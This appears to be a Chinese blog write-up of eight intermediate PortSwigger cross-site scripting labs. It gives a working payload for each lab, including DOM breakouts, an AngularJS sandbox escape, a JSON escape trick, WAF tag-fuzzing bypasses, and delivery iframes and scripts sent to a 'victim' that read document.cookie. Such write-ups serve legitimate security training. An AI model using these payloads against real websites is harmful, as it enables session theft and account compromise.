burp靶场xss漏洞(中级篇)上

靶场地址

http://portswigger.net/web-security/all-labs#cross-site-scripting

第一关:DOM型(使用document.write函数)

1.点击随机商品后找到搜索框,后在URL中添加storeId查询参数,并输入一个随机字母数字字符串作为其值

2.在浏览器中,注意到随机字符串出现在选项表中

3.更改URL,在storeId参数中插入payload,出现弹窗即可通关

storeId="></select><img%20src=1%20οnerrοr=alert(1)>

第二关:DOM型(<和"的html编码)

1.一打开是熟悉的搜索框,在搜索框中输入随机字符串

2.在源代码查看插入的字符串哪里去了,发现随机字符串被包含在一个ng-app指令中

3.在搜索框中输入以下 AngularJS 表达式,出现弹窗后表示成功通关

{{$on.constructor('alert(1)')()}}

第三关:反射型

1.用Burp抓包,注意字符串反映在名为 search-results 的JSON响应中

2.尝试发现双引号被转义,但是反斜杠不会被转义

3.构造xss payload,出现弹窗即可通关

\"-alert(1) }//

原理:第一个反斜杠不转义,在转义第二个双引号时会添加一个反斜杠,于是产生的两个反斜杠会把转义取消,导致添加的双引号不被转义在结果中显示出来,减号被转义为双引号,后面的右花括号和两个正斜杠提前关闭JSON对象,并注释掉对象的其余部分

响应结构:{"searchTerm":"\\"-alert(1) }//", "results":[ ] }

第四关:存储型

1.在评论区写个评论后查看评论内容所在的位置,发现被包裹在<p>标签中

2.根据提示可知只需在payload开头加入一组尖括号,其后的尖括号将不受影响便可形成攻击

3.出现弹窗成功通关

第五关:反射型(标签过滤)

1.首先插入正常的xss代码观察是否被阻止,出现错误提示

<img src=1 οnerrοr=alert(document.cookie)>

2.使用Burpsuite抓包后测试哪些标记和属性被阻止

3.打开下面网页,复制所有标签

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

4.攻击后得到没有被过滤的是body和customs bags

5.接下来更换攻击位置来确定可以使用什么函数

   复制所有函数

6.攻击后得到没有被过滤的函数

7.最后访问服务器构造不会被WAF过滤的payload

<iframe src="https://YOUR-LAB-ID.web-security-academy.net/?search=%22%3E%3Cbody%20οnresize=print()%3E" οnlοad=this.style.width='100px'>

    点击储存后发送给受害者后即可通关

第六关:反射型(屏蔽所有标记)

1.根据提示知道这关会阻止除自定义标记外的所有html标记,先构造自定义标签

<custom-tag οnfοcus='alert(document.cookie)' id='x' tabindex="1">

2.验证该payload是否有效,在URL后注释x,出现弹窗说明可以造成攻击

<custom-tag οnfοcus='alert(document.cookie)' id='x' tabindex="1">#x

3.在服务器中将构造的payload发送给受害者后即可通关

<script> location = 'https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28 document.cookie%29%20tabindex=1%3E#x'; </script>

第七关:反射型(使用SVG标记)

1.在搜索框中插入payload,发现被拦截

<img src=1 οnerrοr=alert(111)>

2.使用Burpsuite抓包并分析什么标签导致被拦截

3.打开下面网页,复制所有标签

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

4.攻击后得到没有被过滤的是 animatetransform,、image、svg、title

5.接下来更换攻击位置来确定可以使用什么函数

   复制所有函数

6.得到没有被过滤的函数为onbegin

7.构造不被过滤的payload,出现弹窗即可通关

<svg><animatetransform onbegin='alert(111)'>

第八关:反射型(链接标签)

1.访问以下 URL,将 X 键设置为整个页面的访问键。当用户按下访问键时,就会出现弹窗

https://YOUR-LAB-ID.web-security-academy.net/?%27accesskey=%27x%27οnclick=%27alert(1)

2.触发弹窗(Windows:ALT+SHIFT+X)

  • 31
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值